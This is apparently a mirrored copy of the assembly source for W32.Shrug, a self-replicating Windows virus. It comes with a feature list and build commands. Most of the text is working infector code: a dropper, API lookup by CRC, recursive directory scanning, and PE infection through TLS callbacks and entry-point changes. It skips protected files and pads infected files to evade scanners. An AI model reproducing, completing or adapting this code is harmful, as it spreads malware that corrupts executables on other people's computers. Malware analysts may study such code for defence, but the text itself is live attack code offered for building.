mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
1466 lines
60 KiB
NASM
1466 lines
60 KiB
NASM
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.ASM]ÄÄÄ
|
|
comment ;)
|
|
W32.Shrug by roy g biv
|
|
|
|
some of its features:
|
|
- parasitic direct action infector of PE exe/dll (but not looking at suffix)
|
|
- infects files in current directory and all subdirectories
|
|
- directory traversal is linked-list instead of recursive to reduce stack size
|
|
- reloc section inserter/last section appender
|
|
- mixture of EPO and standard transfer of control:
|
|
TLS infection (but runs only under NT/2000/XP)
|
|
altered entry point field in DLLs (all platforms)
|
|
code executes after ExitProcess() is called
|
|
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
|
|
- uses CRCs instead of API names
|
|
- uses SEH for common code exit
|
|
- section attributes are not always altered (virus is not self-modifying)
|
|
- no infect files with data outside of image (eg self-extractors)
|
|
- no infect files protected by SFC/SFP (including under Windows XP)
|
|
- infected files are padded by random amounts to confuse tail scanners
|
|
- uses SEH walker to find kernel address (no hard-coded addresses)
|
|
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
|
|
- plus some new code optimisations that were never seen before
|
|
---
|
|
|
|
optimisation tip: Windows appends ".dll" automatically, so this works:
|
|
push "cfs"
|
|
push esp
|
|
call LoadLibraryA
|
|
---
|
|
|
|
to build this thing:
|
|
tasm
|
|
----
|
|
tasm32 /ml /m3 shrug
|
|
tlink32 /B:400000 /x shrug,,,import32
|
|
|
|
Virus is not self-modifying, so no need to alter section attributes
|
|
---
|
|
|
|
We're in the middle of a phase transition:
|
|
a butterfly flapping its wings at
|
|
just the right moment could
|
|
cause a storm to happen.
|
|
-I'm trying to understand-
|
|
I'm at a moment in my life-
|
|
I don't know where to flap my wings.
|
|
(Danny Hillis)
|
|
|
|
(;
|
|
|
|
.386
|
|
.model flat
|
|
|
|
extern GetCurrentProcess:proc
|
|
extern WriteProcessMemory:proc
|
|
extern MessageBoxA:proc
|
|
extern ExitProcess:proc
|
|
|
|
.data
|
|
|
|
;must be reverse alphabetical order because they are stored on stack
|
|
;API names are not present in replications, only in dropper
|
|
|
|
krnnames db "UnmapViewOfFile" , 0
|
|
db "SetFileTime" , 0
|
|
db "SetFileAttributesW" , 0
|
|
db "SetFileAttributesA" , 0
|
|
db "SetCurrentDirectoryW", 0
|
|
db "SetCurrentDirectoryA", 0
|
|
db "MultiByteToWideChar" , 0
|
|
db "MapViewOfFile" , 0
|
|
db "LoadLibraryA" , 0
|
|
db "GlobalFree" , 0
|
|
db "GlobalAlloc" , 0
|
|
db "GetVersion" , 0
|
|
db "GetTickCount" , 0
|
|
db "GetFullPathNameW" , 0
|
|
db "GetFullPathNameA" , 0
|
|
db "FindNextFileW" , 0
|
|
db "FindNextFileA" , 0
|
|
db "FindFirstFileW" , 0
|
|
db "FindFirstFileA" , 0
|
|
db "FindClose" , 0
|
|
db "CreateFileW" , 0
|
|
db "CreateFileMappingA" , 0
|
|
db "CreateFileA" , 0
|
|
db "CloseHandle" , 0
|
|
|
|
sfcnames db "SfcIsFileProtected", 0
|
|
|
|
txttitle db "Shrug", 0
|
|
txtbody db "running...", 0
|
|
|
|
include shrug.inc
|
|
|
|
.code
|
|
assume fs:nothing
|
|
|
|
dropper label near
|
|
mov edx, krncrc_count
|
|
mov ebx, offset krnnames
|
|
mov edi, offset krncrcbegin
|
|
call create_crcs
|
|
mov edx, 1
|
|
mov ebx, offset sfcnames
|
|
mov edi, offset sfccrcbegin
|
|
call create_crcs
|
|
call patch_host
|
|
xor ebx, ebx
|
|
push ebx
|
|
push offset txttitle
|
|
push offset txtbody
|
|
push ebx
|
|
call MessageBoxA
|
|
push ebx
|
|
call ExitProcess
|
|
|
|
create_crcs proc near
|
|
imul ebp, edx, 4
|
|
|
|
create_loop label near
|
|
or eax, -1
|
|
|
|
create_outer label near
|
|
xor al, byte ptr [ebx]
|
|
push 8
|
|
pop ecx
|
|
|
|
create_inner label near
|
|
add eax, eax
|
|
jnb create_skip
|
|
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
|
|
|
|
create_skip label near
|
|
loop create_inner
|
|
sub cl, byte ptr [ebx] ;carry set if not zero
|
|
inc ebx ;carry not altered by inc
|
|
jb create_outer
|
|
push eax
|
|
dec edx
|
|
jne create_loop
|
|
mov eax, esp
|
|
push ecx
|
|
push ebp
|
|
push eax
|
|
push edi
|
|
call GetCurrentProcess
|
|
push eax
|
|
xchg esi, eax
|
|
call WriteProcessMemory
|
|
add esp, ebp
|
|
ret
|
|
create_crcs endp
|
|
|
|
patch_host label near
|
|
pop ecx
|
|
push ecx
|
|
call $ + 5
|
|
pop eax
|
|
add eax, offset tlsdata - offset $ + 1
|
|
sub ecx, eax
|
|
push ecx
|
|
mov eax, esp
|
|
xor edi, edi
|
|
push edi
|
|
push 4
|
|
push eax
|
|
push offset host_patch + 3
|
|
push esi
|
|
call WriteProcessMemory
|
|
push edi ;fake Reserved
|
|
push edi ;fake Reason
|
|
push edi ;fake DLLHandle
|
|
push edi ;fake return address
|
|
;-----------------------------------------------------------------------------
|
|
;everything before this point is dropper code
|
|
;-----------------------------------------------------------------------------
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;virus code begins here in dlls (always) and exes (existing TLS callback pointer)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
shrug_tlscode proc near
|
|
mov eax, dword ptr [esp + initstk.initReason]
|
|
push eax ;fake Reserved
|
|
push eax ;real Reason
|
|
push eax ;fake DLLHandle
|
|
call host_patch ;real return address
|
|
|
|
tlsdata tlsstruc <0> ;label required for delta offset
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;moved label after some data because "e800000000" looks like virus code ;)
|
|
;and it's not used for delta offset calculation, but for original entry point
|
|
;-----------------------------------------------------------------------------
|
|
|
|
host_patch label near
|
|
add dword ptr [esp], '!bgr'
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;virus code begins here in exes (created TLS directory / callback pointer)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
shrug_dllcode proc near ;stack = DllHandle, Reason, Reserved
|
|
test byte ptr [esp + initstk.initReason], DLL_PROCESS_ATTACH or DLL_THREAD_ATTACH
|
|
jne shrug_dllret ;kernel32 not in SEH chain on ATTACH messages
|
|
pushad
|
|
call shrug_common
|
|
mov esp, dword ptr [esp + sehstruc.sehprevseh]
|
|
xor eax, eax
|
|
pop dword ptr fs:[eax]
|
|
pop eax
|
|
popad
|
|
|
|
shrug_dllret label near
|
|
ret 0ch
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;main virus body. everything happens in here
|
|
;-----------------------------------------------------------------------------
|
|
|
|
shrug_common proc near
|
|
xor esi, esi
|
|
lods dword ptr fs:[esi]
|
|
push eax
|
|
mov dword ptr fs:[esi - 4], esp
|
|
inc eax
|
|
|
|
walk_seh label near
|
|
dec eax
|
|
xchg esi, eax
|
|
lods dword ptr [esi]
|
|
inc eax
|
|
jne walk_seh
|
|
enter (size findlist - 5) and -4, 0 ;Windows NT/2000/XP enables alignment check exception
|
|
;so some APIs fail if buffer is not dword aligned
|
|
;-5 to align at 2 dwords earlier
|
|
;because EBP saved automatically
|
|
;and other register saved next
|
|
push eax ;zero findprev in findlist
|
|
lods dword ptr [esi]
|
|
call init_findmz
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
krncrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (krncrc_count + 1) dup (0)
|
|
krncrcend label near
|
|
dd offset check_sfc - offset krncrcend + 4
|
|
db "Shrug - roy g biv" ;your guess is as good as mine
|
|
|
|
init_findmz label near
|
|
inc eax
|
|
xchg edi, eax
|
|
|
|
find_mzhdr label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;do not use hard-coded kernel address values because it is not portable
|
|
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
|
|
;they will maybe change again for every new release
|
|
;-----------------------------------------------------------------------------
|
|
|
|
dec edi ;sub 64kb
|
|
xor di, di ;64kb align
|
|
call is_pehdr
|
|
jne find_mzhdr
|
|
mov ebx, edi
|
|
pop edi
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;parse export table
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
|
|
lea esi, dword ptr [ebx + esi + peexp.expadrrva]
|
|
lods dword ptr [esi] ;Export Address Table RVA
|
|
lea edx, dword ptr [ebx + eax]
|
|
lods dword ptr [esi] ;Name Pointer Table RVA
|
|
lea ecx, dword ptr [ebx + eax]
|
|
lods dword ptr [esi] ;Ordinal Table RVA
|
|
lea ebp, dword ptr [ebx + eax]
|
|
mov esi, ecx
|
|
|
|
push_export label near
|
|
push ecx
|
|
|
|
get_export label near
|
|
lods dword ptr [esi]
|
|
push ebx
|
|
add ebx, eax ;Name Pointer VA
|
|
or eax, -1
|
|
|
|
crc_outer label near
|
|
xor al, byte ptr [ebx]
|
|
push 8
|
|
pop ecx
|
|
|
|
crc_inner label near
|
|
add eax, eax
|
|
jnb crc_skip
|
|
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
|
|
|
|
crc_skip label near
|
|
loop crc_inner
|
|
sub cl, byte ptr [ebx] ;carry set if not zero
|
|
inc ebx ;carry not altered by inc
|
|
jb crc_outer
|
|
pop ebx
|
|
cmp dword ptr [edi], eax
|
|
jne get_export
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
|
|
;this allows to push addresses onto the stack, and the order is known
|
|
;-----------------------------------------------------------------------------
|
|
|
|
pop ecx
|
|
mov eax, esi
|
|
sub eax, ecx ;Name Pointer Table VA
|
|
shr eax, 1
|
|
movzx eax, word ptr [ebp + eax - 2] ;get export ordinal
|
|
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
|
|
add eax, ebx
|
|
push eax
|
|
scas dword ptr [edi]
|
|
cmp dword ptr [edi], 0
|
|
jne push_export
|
|
add edi, dword ptr [edi + 4]
|
|
jmp edi
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;get SFC support if available
|
|
;-----------------------------------------------------------------------------
|
|
|
|
check_sfc label near
|
|
call load_sfc
|
|
db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll)
|
|
|
|
load_sfc label near
|
|
call dword ptr [esp + krncrcstk.kLoadLibraryA]
|
|
test eax, eax
|
|
jne found_sfc
|
|
push 'cfs' ;Windows Me/2000
|
|
push esp
|
|
call dword ptr [esp + 4 + krncrcstk.kLoadLibraryA]
|
|
pop ecx
|
|
test eax, eax
|
|
je sfcapi_push
|
|
|
|
found_sfc label near
|
|
call init_findmz
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
sfccrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd 0, 0
|
|
sfccrcend label near
|
|
dd offset swap_create - offset sfccrcend + 4
|
|
|
|
sfcapi_push label near
|
|
push eax
|
|
|
|
swap_create label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;swap CreateFileW and CreateFileMappingA because of alphabet order
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov ebx, esp
|
|
mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
|
|
xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax
|
|
mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;determine platform and dynamically select function types (ANSI or Unicode)
|
|
;so for Windows NT/2000/XP this code handles files that no ANSI function can open
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call dword ptr [ebx + krncrcstk.kGetVersion]
|
|
shr eax, 1fh ;treat 9x and Win32s as ANSI
|
|
;safer than using AreFileApisANSI()
|
|
lea ebp, dword ptr [eax * 4 + ebx]
|
|
lea esi, dword ptr [ebx + size krncrcstk]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;non-recursive directory traverser
|
|
;-----------------------------------------------------------------------------
|
|
|
|
scan_dir proc near ;ebp -> platform APIs, esi -> findlist
|
|
push '*' ;ANSI-compatible Unicode findmask
|
|
mov eax, esp
|
|
lea ebx, dword ptr [esi + findlist.finddata]
|
|
push ebx
|
|
push eax
|
|
call dword ptr [ebp + krncrcstk.kFindFirstFileW]
|
|
pop ecx
|
|
mov dword ptr [esi + findlist.findhand], eax
|
|
inc eax
|
|
je find_prev
|
|
|
|
;you must always step forward from where you stand
|
|
|
|
test_dirfile label near
|
|
mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
|
|
lea edi, dword ptr [esi + findlist.finddata.cFileName]
|
|
test al, FILE_ATTRIBUTE_DIRECTORY
|
|
je test_file
|
|
cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
|
|
je find_next
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;enter subdirectory, and allocate another list node
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push edi
|
|
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
|
|
xchg ecx, eax
|
|
jecxz find_next
|
|
push size findlist
|
|
push GMEM_FIXED
|
|
call dword ptr [esp + krncrcstk.kGlobalAlloc + 8]
|
|
xchg ecx, eax
|
|
jecxz step_updir
|
|
xchg esi, ecx
|
|
mov dword ptr [esi + findlist.findprev], ecx
|
|
jmp scan_dir
|
|
|
|
find_next label near
|
|
lea ebx, dword ptr [esi + findlist.finddata]
|
|
push ebx
|
|
mov edi, dword ptr [esi + findlist.findhand]
|
|
push edi
|
|
call dword ptr [ebp + krncrcstk.kFindNextFileW]
|
|
test eax, eax
|
|
jne test_dirfile
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;close find, and free list node if not list head
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov ebx, esp
|
|
push edi
|
|
call dword ptr [ebx + krncrcstk.kFindClose]
|
|
|
|
find_prev label near
|
|
mov ecx, dword ptr [esi + findlist.findprev]
|
|
jecxz shrug_exit
|
|
push esi
|
|
mov esi, ecx
|
|
call dword ptr [ebx + krncrcstk.kGlobalFree]
|
|
|
|
step_updir label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;the ANSI string ".." can be used, even on Unicode platforms
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push '..'
|
|
org $ - 1 ;select top 8 bits of push
|
|
shrug_exit label near
|
|
int 3 ;game over
|
|
|
|
push esp
|
|
call dword ptr [ebx + krncrcstk.kSetCurrentDirectoryA]
|
|
pop eax
|
|
jmp find_next
|
|
|
|
test_file label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;get full path and convert to Unicode if required (SFC requires Unicode path)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push eax ;save original file attributes for close
|
|
mov eax, ebp
|
|
enter MAX_PATH * 2, 0
|
|
mov ecx, esp
|
|
push eax
|
|
push esp
|
|
push ecx
|
|
push MAX_PATH
|
|
push edi
|
|
call dword ptr [eax + krncrcstk.kGetFullPathNameW]
|
|
xchg edi, eax
|
|
pop eax
|
|
xor ebx, ebx
|
|
call dword ptr [ebp + 8 + krncrcstk.kGetVersion]
|
|
test eax, eax
|
|
jns call_sfcapi
|
|
mov ecx, esp
|
|
xchg ebp, eax
|
|
enter MAX_PATH * 2, 0
|
|
xchg ebp, eax
|
|
mov eax, esp
|
|
push MAX_PATH
|
|
push eax
|
|
inc edi
|
|
push edi
|
|
push ecx
|
|
push ebx ;use default translation
|
|
push ebx ;CP_ANSI
|
|
call dword ptr [ebp + 8 + krncrcstk.kMultiByteToWideChar]
|
|
|
|
call_sfcapi label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;don't touch protected files
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov ecx, dword ptr [ebp + 8 + krncrcstk.kSfcIsFileProtected]
|
|
xor eax, eax ;fake success in case of no SFC
|
|
jecxz leave_sfc
|
|
push esp
|
|
push ebx
|
|
call ecx
|
|
|
|
leave_sfc label near
|
|
leave
|
|
test eax, eax
|
|
jne restore_attr
|
|
call set_fileattr
|
|
push ebx
|
|
push ebx
|
|
push OPEN_EXISTING
|
|
push ebx
|
|
push ebx
|
|
push GENERIC_READ or GENERIC_WRITE
|
|
push edi
|
|
call dword ptr [ebp + krncrcstk.kCreateFileW]
|
|
xchg ebx, eax
|
|
call test_infect
|
|
db 81h ;mask CALL
|
|
call infect_file ;Super Nashwan power ;)
|
|
|
|
close_file label near ;label required for delta offset
|
|
lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
|
|
push eax
|
|
sub eax, 8
|
|
push eax
|
|
sub eax, 8
|
|
push eax
|
|
push ebx
|
|
call dword ptr [esp + 4 + krncrcstk.kSetFileTime + 10h]
|
|
push ebx
|
|
call dword ptr [esp + 4 + krncrcstk.kCloseHandle + 4]
|
|
|
|
restore_attr label near
|
|
pop ebx ;restore original file attributes
|
|
call set_fileattr
|
|
jmp find_next
|
|
scan_dir endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;look for MZ and PE file signatures
|
|
;-----------------------------------------------------------------------------
|
|
|
|
is_pehdr proc near ;edi -> map view
|
|
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
|
|
jne pehdr_ret
|
|
mov esi, dword ptr [edi + mzhdr.mzlfanew]
|
|
add esi, edi
|
|
lods dword ptr [esi] ;SEH protects against bad lfanew value
|
|
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
|
|
|
|
pehdr_ret label near
|
|
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
|
|
is_pehdr endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;reset/set read-only file attribute
|
|
;-----------------------------------------------------------------------------
|
|
|
|
set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
|
|
push ebx
|
|
lea edi, dword ptr [esi + findlist.finddata.cFileName]
|
|
push edi
|
|
call dword ptr [ebp + krncrcstk.kSetFileAttributesW]
|
|
ret ;edi -> filename
|
|
db "01/01/01" ;01 Janvier, 1901 - the old joke
|
|
set_fileattr endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs
|
|
call map_view
|
|
mov ebp, esi
|
|
call is_pehdr
|
|
jne inftest_ret
|
|
lods dword ptr [esi]
|
|
cmp ax, IMAGE_FILE_MACHINE_I386
|
|
jne inftest_ret ;only Intel 386+
|
|
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
|
|
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
|
|
mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
|
|
;-----------------------------------------------------------------------------
|
|
|
|
test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
|
|
jne inftest_ret
|
|
add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;if file is a .dll, then we require an entry point function
|
|
;-----------------------------------------------------------------------------
|
|
|
|
lods dword ptr [esi]
|
|
xchg ecx, eax
|
|
test ah, IMAGE_FILE_DLL shr 8
|
|
je test_system
|
|
jecxz inftest_ret
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;32-bit executable file...
|
|
;-----------------------------------------------------------------------------
|
|
|
|
test_system label near
|
|
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
|
|
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
|
|
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;the COFF magic value is not checked because Windows ignores it anyway
|
|
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase]
|
|
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
|
|
jnbe inftest_ret
|
|
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
|
|
jb inftest_ret
|
|
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
|
|
jb inftest_ret
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;avoid files which seem to contain attribute certificates
|
|
;because one of those certificates might be a digital signature
|
|
;-----------------------------------------------------------------------------
|
|
|
|
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], 0
|
|
jne inftest_ret
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
|
|
;the Optional Header can be larger than the offset of the last directory
|
|
;remember: even if you have not seen it does not mean that it does not happen :)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase]
|
|
add eax, edx
|
|
lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize]
|
|
lods dword ptr [esi]
|
|
add eax, dword ptr [esi]
|
|
cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
|
|
jne inftest_ret ;file contains appended data
|
|
inc dword ptr [esp + mapsehstk.mapsehinfret]
|
|
;skip call mask
|
|
|
|
inftest_ret label near
|
|
int 3
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
|
|
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
|
|
;-----------------------------------------------------------------------------
|
|
|
|
open_append proc near
|
|
call dword ptr [esp + size mapstack - 4 + krncrcstk.kGetTickCount]
|
|
and eax, RANDPADMAX - 1
|
|
add ax, small (offset shrug_codeend - offset shrug_tlscode + RANDPADMIN)
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;create file map, and map view if successful
|
|
;-----------------------------------------------------------------------------
|
|
|
|
map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
|
|
add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
|
|
xor ecx, ecx
|
|
push eax
|
|
mov edx, esp
|
|
push eax ;MapViewOfFile
|
|
push ecx ;MapViewOfFile
|
|
push ecx ;MapViewOfFile
|
|
push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
|
|
push ecx
|
|
push eax
|
|
push ecx
|
|
push PAGE_READWRITE
|
|
push ecx
|
|
push ebx
|
|
call dword ptr [edx + size mapstack + krncrcstk.kCreateFileMappingA]
|
|
;ANSI map is allowed because of no name
|
|
push eax
|
|
xchg edi, eax
|
|
call dword ptr [esp + size mapstack + krncrcstk.kMapViewOfFile + 14h]
|
|
pop ecx
|
|
xchg edi, eax ;should succeed even if file cannot be opened
|
|
pushad
|
|
call unmap_seh
|
|
mov esp, dword ptr [esp + sehstruc.sehprevseh]
|
|
xor eax, eax
|
|
pop dword ptr fs:[eax]
|
|
pop eax
|
|
popad ;SEH destroys all registers
|
|
push eax
|
|
push edi
|
|
call dword ptr [esp + size mapstack + krncrcstk.kUnmapViewOfFile + 4]
|
|
call dword ptr [esp + size mapstack + krncrcstk.kCloseHandle]
|
|
pop eax
|
|
ret
|
|
|
|
unmap_seh proc near
|
|
cdq
|
|
push dword ptr fs:[edx]
|
|
mov dword ptr fs:[edx], esp
|
|
jmp dword ptr [esp + mapsehstk.mapsehsehret]
|
|
unmap_seh endp
|
|
map_view endp ;eax = map handle, ecx = new file size, edi = map view
|
|
open_append endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;infect file using a selection of styles for variety
|
|
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
|
|
; bytes) to confuse scanners that look at end of file (also
|
|
; infection marker)
|
|
; if reloc table is not in last section (taken from relocation
|
|
; field in PE header, not section name), then append to last
|
|
; section. otherwise, move relocs down and insert code into
|
|
; space (to confuse people looking at end of file. they will
|
|
; see only relocation data and garbage or many zeroes)
|
|
;DLL infection: entry point is altered to point to virus code. very simple
|
|
;EXE infection: Entry Point Obscured via TLS callback function
|
|
; if no TLS directory exists, then one will be created, with a
|
|
; single callback function that points to this code
|
|
; if a TLS directory exists, but no callback functions exist,
|
|
; then a function pointer will be created that points to this
|
|
; code
|
|
; else if a TLS directory and callback functions exist, then the
|
|
; first function pointer will be altered to point to this code
|
|
;-----------------------------------------------------------------------------
|
|
|
|
infect_file label near ;esi -> findlist, edi = map view
|
|
call open_append
|
|
|
|
delta_label label near
|
|
push ecx
|
|
push edi
|
|
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
|
|
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
|
|
movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum]
|
|
imul eax, eax, size pesect
|
|
movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
|
|
add eax, ecx
|
|
lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
|
|
lods dword ptr [esi]
|
|
mov cx, offset shrug_codeend - offset shrug_tlscode
|
|
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
|
|
push eax
|
|
add eax, ecx
|
|
dec edx
|
|
add eax, edx
|
|
not edx
|
|
and eax, edx ;file align last section
|
|
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;raw size is file aligned. virtual size is not required to be section aligned
|
|
;so if old virtual size is larger than new raw size, then size of image does
|
|
;not need to be updated, else virtual size must be large enough to cover the
|
|
;new code, and size of image is section aligned
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
|
|
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
|
|
jnb test_reloff
|
|
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
|
|
add eax, ebp
|
|
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
|
|
dec edx
|
|
add eax, edx
|
|
not edx
|
|
and eax, edx
|
|
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;if relocation table is not in last section, then append to last section
|
|
;otherwise, move relocations down and insert code into space
|
|
;-----------------------------------------------------------------------------
|
|
|
|
test_reloff label near
|
|
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
|
|
jne copy_code
|
|
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
|
|
jb copy_code
|
|
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
|
|
add eax, ebp
|
|
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
|
|
jnb copy_code
|
|
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
|
|
pop eax
|
|
push esi
|
|
add edi, dword ptr [esi]
|
|
lea esi, dword ptr [edi + eax - 1]
|
|
lea edi, dword ptr [esi + ecx]
|
|
xchg ecx, eax
|
|
std
|
|
rep movs byte ptr [edi], byte ptr [esi]
|
|
cld
|
|
pop esi
|
|
pop edi
|
|
push edi
|
|
push ecx
|
|
xchg ecx, eax
|
|
|
|
copy_code label near
|
|
pop edx
|
|
add ebp, edx
|
|
xchg ebp, eax
|
|
add edx, dword ptr [esi]
|
|
add edi, edx
|
|
push esi
|
|
push edi
|
|
mov esi, offset shrug_tlscode - offset delta_label
|
|
add esi, dword ptr [esp + infectstk.infseh.mapsehinfret]
|
|
;delta offset
|
|
rep movs byte ptr [edi], byte ptr [esi]
|
|
pop edi
|
|
pop esi
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;always alter entry point of dlls
|
|
;-----------------------------------------------------------------------------
|
|
|
|
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum + 1], IMAGE_FILE_DLL shr 8
|
|
je test_tlsdir
|
|
lea edx, dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum]
|
|
|
|
alter_func label near
|
|
xchg dword ptr [edx], eax
|
|
sub eax, offset tlsdata - offset shrug_tlscode
|
|
sub eax, dword ptr [edx]
|
|
mov dword ptr [edi + offset host_patch - offset shrug_tlscode + 3], eax
|
|
jmp checksum_file
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;if tls directory exists...
|
|
;-----------------------------------------------------------------------------
|
|
|
|
test_tlsdir label near
|
|
mov ecx, dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum]
|
|
jecxz add_tlsdir ;size field is never checked
|
|
call rva2raw
|
|
pop edx
|
|
push edx
|
|
add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
|
|
push eax
|
|
lea eax, dword ptr [edx + ecx + tlsstruc.tlsfuncptr]
|
